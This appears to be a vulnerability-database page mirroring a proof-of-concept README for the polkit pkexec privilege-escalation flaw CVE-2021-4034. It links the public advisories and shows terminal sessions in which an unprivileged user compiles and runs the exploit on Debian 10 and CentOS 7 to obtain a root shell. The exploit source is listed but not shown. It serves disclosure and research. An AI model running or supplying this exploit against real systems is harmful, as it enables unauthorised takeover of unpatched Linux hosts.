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CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

来源
https://github.com/Yakumwamba/POC-CVE-2021-4034
关联漏洞
标题:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。
介绍

![polkit-bug](https://user-images.githubusercontent.com/72974932/151581571-4d8cea4d-3c73-4cb2-be4e-5370020c0f0c.png)

# **CVE-2021-4034**

While the vulnerability is not exploitable remotely and doesn’t, in itself, allow arbitrary code execution, it can be used by attackers that have already gained a foothold on a vulnerable host to escalate their privileges and achieve that capability.

[https://seclists.org/oss-sec/2022/q1/80](https://seclists.org/oss-sec/2022/q1/80)[https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034)


# **PoC**

Verified on Debian 10 and CentOS 7.


You can find the repo at this link here → [https://github.com/Yakumwamba/POC-CVE-2021-4034.git](https://github.com/Yakumwamba/POC-CVE-2021-4034.git)

```jsx
user@debian:~$ grep PRETTY /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
user@debian:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
user@debian:~$ ./cve-2021-4034-poc
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)
```

```jsx
[user@centos ~]$ grep PRETTY /etc/os-release
PRETTY_NAME="CentOS Linux 7 (Core)"
[user@centos ~]$ id
uid=11000(user) gid=11000(user) groups=11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[user@centos ~]$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
[user@centos ~]$ ./cve-2021-4034-poc
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
```

## Discalimer - this tool can be used maliciously 
It can also be used to damage or disable unpatched LInux servers. The author of this tool is not responsible for any damages or losses that may occur as a result of its use.
文件快照

 [4.0K]  /data/pocs/dd4c10f0825f1d1aee06cc33e44bc6e169363b1c
├── [ 291]  cve-2021-4034.c
├── [ 451]  Makefile
├── [ 338]  pwnkit.c
└── [2.1K]  README.md

0 directories, 4 files
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